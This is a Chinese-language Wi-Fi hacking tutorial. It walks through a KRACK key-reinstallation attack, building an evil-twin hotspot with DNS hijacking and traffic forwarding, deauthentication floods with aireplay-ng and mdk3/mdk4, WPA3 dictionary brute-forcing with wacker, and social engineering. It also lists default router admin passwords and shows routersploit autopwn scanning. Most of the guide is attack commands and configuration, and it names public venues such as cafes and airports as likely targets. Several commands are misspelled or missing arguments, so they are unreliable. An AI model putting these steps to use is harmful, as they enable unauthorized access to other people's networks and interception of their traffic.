0x00 進行滲透時需知曉的基礎知識
1.WPA2:是WPA的升級版,是針對保護無線網絡安全而設計的無線網絡保護系統,引入了PSK(預共享密鑰模式)秘鑰,加強了WPA的不足之處,但是因為使用了PSK,所以只要攻擊者知曉目標的PSK秘鑰,就能十分輕易加入無線網絡。
2.WPA3:是近幾年新出現的無線網絡安全保護系統,在WPA2的基礎上實現了針對字典法暴力密碼破解的難度,如果失敗次數過多,AP將直接鎖定攻擊行為,以及取代了PSK使用對等實體驗證(SAE)
3.AP:特指無線網絡接入點,就是路由器等設備的廣泛稱呼
PS.實現無線網絡攻擊一般都需要兩張或更多網卡,有時候也需要一些社工手段!購買無線網卡強烈建議購買支持802.11ac協議的網卡?。?!
0x01 WPA2滲透思路
如果實在嫌跑密碼的進度過慢或者沒有好的字典,可以試一試wpa2的秘鑰重裝攻擊(KRACK)
PS.本文所用的方法絕大部分沒有使用大佬提供的POC,旨為了能夠完全細化并理解KRACK攻擊的步驟
0x02 秘鑰重裝攻擊復現步驟:
秘鑰重裝攻擊(KRACK):
此攻擊針對WPA2協議中創建一個Nonce(一種共享密鑰)的四次握手。
0x03 KRACK的原理:
WPA2的標準預期有偶爾發生的Wi-Fi斷開連接,并允許使用同樣的值重連第三次握手,以做到快速重連和連續性。因為標準不要求在此種重連時使用不同密鑰,所以可能出現重放攻擊。
攻擊者還可以反復重發另一設備的第三次握手來重復操縱或重置WPA2的加密密鑰。每次重置都會使用相同的值來加密數據,因此可以看到和匹配有相同數據的塊,識別出被加密密鑰鏈的數據塊。隨著反復的重置暴露越來越多的密鑰鏈,最終整個密鑰鏈將被獲知,攻擊者將可讀取目標在此連接上的所有流量。
WPA2通常用于移動設備至固定接入點或家庭路由器的連接,盡管某些流量本身可能被SSL/TLS等協議加密,但風險仍十分嚴重。(資料來自百度百科)
1.啟動網卡的混雜模式
sudo airmong-ng start
2.對目標AP進行信息收集
先用
sudo airodump-ng
3.找到目標AP的BSSID
這是我家中的2.4g無線網絡,第一個使用橋接模式橋接了CMCC,因為兩個路由器都已經安裝了最新的固件把秘鑰重裝漏洞修復了,所以該次實驗不會對我的路由器與設備造成損傷或是成功滲透,但是針對現實中像是咖啡店、機場、圖書館類的場景,路由器的固件很有可能并沒有升級到最新版本,所以該攻擊可能依然有效
4.鎖定目標BSSID后,使用
sudo airodump-ng
5.嗅探該AP中的所有成員
如果沒有成員的話可以插拔一下網卡(我才不會因為在復現過程中沒看到網卡關閉等了十幾分鐘這件事說出來)
6.克隆Wi-Fi釣魚熱點
需要偽造一個同名,同mac地址的釣魚熱點
更改網卡mac地址步驟:
sudo ifconfig device2 down sudo macchaner device2 -m//注意,請將這里的newmac更改為目標AP點的mac地址 sudo ifconfig device2 up
偽造熱點:
sudo airmong start wlan2 //開啟網卡的監聽模式 sudo airbase-ng -e-c //講trget SSID更改為目標SSID,并且channel更改成不同的信道 sudo ifconfig at0 up //啟動虛擬網關 sudo vi /etc/network/interfaces ------------------------------ //配置虛擬網卡地址參數 auto at0 iface at0 inet static address 192.168.199.1 //這里最好與目標ap點的管理頁面一樣 netmask 255.255.255.0 ------------------------------ sudo service networking restart //重啟網卡服務 ifconfig at0查看at0網卡,如果沒有ip地址或者不存在,重試以上步驟,注意!必須先使用airbase-ng創建AP點,at0網卡才會被可用!
配置DHCP:
sudo vi /etc/dhcp/dhcpd.conf 設置子網 掩碼 分配地址范圍等 在里面添加: subnet 192.168.199.0 netmask 255.255.255.0{ range 192.168.199.100 192.168.199.150; option routers 192.168.199.1; option subnet-mask 255.255.255.0; option domain-name-servers 192.168.178.99; //注意這里的doamin地址需要自己更換 }
進入下一配置文件,將at0指定為dhcp請求網卡
sudo vi /etc/default/isc-dhcp-server 將其中的INTERFACESv4=""更改為INTERFACESv4="at0"
sudo service isc-dhcp-server restart //重啟dhcp服務
配置dnsmasq
sudo vi /etc/dnsmasq.conf 添加以下內容: resolv-file=/etc/resolv.conf //設置resolv目錄 strict-order listen-address=192.168.199.113 //這個ip是本機ip,如果只想本地訪問可以填寫127.0.0.1 address=/baidu.com/192.168.178.99 //注意,這一步很重要,需要在這里設置泛解析 address=/111.com/220.181.38.148 server=8.8.8.8 //設置谷歌dns為首選dns server=114.114.114.114 sudo vi /etc/resolv.conf 添加nameserver為本機ip地址
重啟dnsmasq服務
sudo service dnsmasq restart
設置iptables進行流量轉發:
//使用iptables編寫規則: iptables -t nat -A POSTROUTING -s 192.168.199.0/24 -j SNAT --to 192.168.178.99 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE //對eth0進行源nat iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT //轉發能上網的無線網卡流量 iptables -A FORWARD -p tcp --syn -s 192.168.199.0/24 -j TCPMSS --set-mss 1356 iptables-save //保存
克隆Wi-Fi后成功獲取到成員進入網絡提示信息
7.但是我們也不能白等新的冤大頭連上我們的熱點,所以我們可以對目標AP的成員使用斷網攻擊使其強制掉線重連
aireplay-ng攻擊:
//先對目標AP進行鎖定監聽并保存抓到的握手包 sudo airodump-ng--bssid= --channel= -w <文件保存路徑> //然后打開一個新的命令窗口進行攻擊 sudo aireplay-ng -0 0 -a -c
mdk3/mdk4攻擊:
vi blacklist //創建一個黑名單文件,并且把目標的BSSID填進去 sudo mdk3d -s 1000 -b blacklist.txt -c //執行攻擊 //mdk4同理,只需要把mdk3換成mdk4
稍等一會后,所有目標均已離線,2.4gAP網絡用戶斷網連接后一般來說都可以直接獲取到握手包
8.獲取四次握手的數據包
當左上角出現:
就說明我們拿到了握手包
接著打開wireshak,將上一步的01號數據包到wireshark打開搜索字符串Message
需要找到
然后右鍵選擇標記分組
之后選擇左上角"文件"->導出特定分組->選擇僅選中分組
保存第三條握手包
7.實行攻擊
(因為我這硬件條件實在不允許,就說一下實行攻擊 的具體步驟,并且貼出大佬的POC吧)
(1)使用scapy偽造含有CSA(信道切換公告)信標的beacon管理幀,使成員強制連接到釣魚熱點
CSA信息元素:
(2)向成員設備發送3號握手包多次,并允許1、2號握手包通過,阻斷4號握手包使其強制安裝秘鑰
在此演示使用scapy發送三號握手包
sudo scapy //打開scapy
在wireshark中我們可以看到Message 3 of 4被成功重傳
攻擊完成,攻擊者打開wireshark監聽,可以發現成員在目標AP內瀏覽的所有TCP明文
WPA3攻擊思路
因為Dragonblood漏洞組并沒有公布相關的攻擊方式與POC,所以這一節我們來了解一下我在github上找的一個WPA3在線字典攻擊工具----wacker
在使用工具前,我們需要先編譯作者自改的wpa_supplicant
首先下載工具
git clone https://github.com/blunderbuss-wctf/wacker.git
cd wacker
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev cd wpa_supplicant-2.8/wpa_supplicant/ cp defconfig_brute_force .config make -j4 ls -al wpa_supplicant //執行玩上述步驟以構建wpa_supplicant后,我們就可以正常使用工具了
split.sh是用來為多個網卡進行分配破解工作而進行生成單次列表
使用:sudo ./split.sh <份數> <單詞列表>
wacker.py是程序本體
使用方法與選項:
--wordlist指定使用的字典 --interface 指定使用的設備 --bssid 指定目標的BSSID --ssid WPA3的ssid --freq AP的頻率 --start 從單詞列表中的指定字符開始 --debug 輸出debug信息 --wpa2 使用WPA2模式
使用例:
社會工程學/密碼泄露手段
俗話說得好,當你不知道的時候建議直接去問,這也同樣適用直接詢問Wi-Fi密碼
還有一種手段那就是直接使用Wi-Fi萬能鑰匙等這種密碼泄漏工具,使用手機自帶的生成Wi-Fi二維碼功能,再配合掃碼就能直接得到密碼。
路由器后臺滲透思路
在進入無線局域網后,我們可以對無線路由器的后臺進行滲透,滲透后臺的方法包括但不限于:漏洞、跑包、弱密碼,后臺密碼很大概率會與Wi-Fi密碼相同
這里貼出一些常用路由器的默認后臺賬號密碼:
TP_LINK家用路由器:admin-admin
TP_LINK企業級路由器:admin-admin123456或admin-123456admin
Tenda路由器:admin-admin
360路由器:admin-admin
華為路由器:admin-admin
Netcore路由器:guest-guest
小米:沒密碼
FAST路由器:admin-admin
D-Link路由器:admin-admin
PHICOMM路由器:admin-admin
漏洞滲透思路:
談到對路由器的漏洞攻擊手段,不得不提到大名鼎鼎的routersploit
routersploit項目地址//github.com/threat9/routersploit.git
routersploit的安裝(kali下):
git clone https://github.com/threat9/routersploit.git cd routersploit pip3 install -r requirements.txt
routersploit的使用:
sudo ./rsf.py //開啟routersplot use scanners/autopwn //執行自動掃描模塊 show option //查看設置
set target <路由器后臺地址> run //啟動掃描
耐心等待掃描結束,如果該漏洞對路由器有效的話,會直接列出來,如果可能對該路由器有用會列出可能有效的漏洞
作者:Tug0u_Fenr1r
編輯:黃飛
評論
查看更多